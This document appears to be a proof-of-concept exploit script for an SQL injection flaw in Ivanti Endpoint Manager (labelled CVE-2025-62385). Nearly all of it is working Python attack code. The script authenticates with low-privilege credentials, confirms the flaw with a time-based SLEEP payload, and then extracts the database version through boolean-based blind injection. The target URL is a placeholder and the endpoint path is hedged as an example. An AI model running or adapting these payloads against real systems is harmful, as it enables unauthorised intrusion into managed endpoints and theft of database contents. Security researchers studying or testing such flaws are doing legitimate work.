# CVE-2025-62385 - Ivanti Endpoint Manager SQL Injection PoC
# This PoC demonstrates a time-based blind SQL injection against vulnerable EPM endpoints
# Requires valid low-privilege authentication credentials
import requests
import time
TARGET_URL = "https://target-epm.example.com"
USERNAME = "low_priv_user"
PASSWORD = "password123"
VULNERABLE_ENDPOINT = "/api/v1/search" # Example endpoint, actual path may vary
def authenticate(session, url, username, password):
"""Authenticate to EPM and obtain session cookie"""
login_url = f"{url}/api/auth/login"
payload = {
"username": username,
"password": password
}
resp = session.post(login_url, json=payload, verify=False)
if resp.status_code == 200:
print("[+] Authentication successful")
return True
print("[-] Authentication failed")
return False
def test_sql_injection(session, url, endpoint, param_name="query"):
"""Test for time-based blind SQL injection"""
# Normal request baseline
start = time.time()
session.get(f"{url}{endpoint}?{param_name}=test", verify=False)
baseline = time.time() - start
print(f"[*] Baseline response time: {baseline:.2f}s")
# Time-based injection payload
# If vulnerable, DB will sleep for 5 seconds
payload = f"test' OR IF(1=1, SLEEP(5), 0)-- -"
start = time.time()
session.get(f"{url}{endpoint}?{param_name}={payload}", verify=False)
elapsed = time.time() - start
print(f"[*] Injection response time: {elapsed:.2f}s")
if elapsed > baseline + 4:
print("[+] Target appears vulnerable to SQL injection!")
return True
print("[-] Target does not appear vulnerable")
return False
def extract_data(session, url, endpoint, param_name="query"):
"""Extract database version using boolean-based blind SQLi"""
result = ""
for i in range(1, 20):
for char in range(32, 127):
payload = f"test' OR ASCII(SUBSTRING((SELECT @@version),{i},1))={char}-- -"
resp = session.get(
f"{url}{endpoint}?{param_name}={payload}",
verify=False
)
if "data" in resp.text.lower() or len(resp.text) > 100:
result += chr(char)
print(f"[+] Extracted so far: {result}")
break
else:
break
return result
if __name__ == "__main__":
session = requests.Session()
if authenticate(session, TARGET_URL, USERNAME, PASSWORD):
if test_sql_injection(session, TARGET_URL, VULNERABLE_ENDPOINT):
db_version = extract_data(session, TARGET_URL, VULNERABLE_ENDPOINT)
print(f"[+] Database version: {db_version}")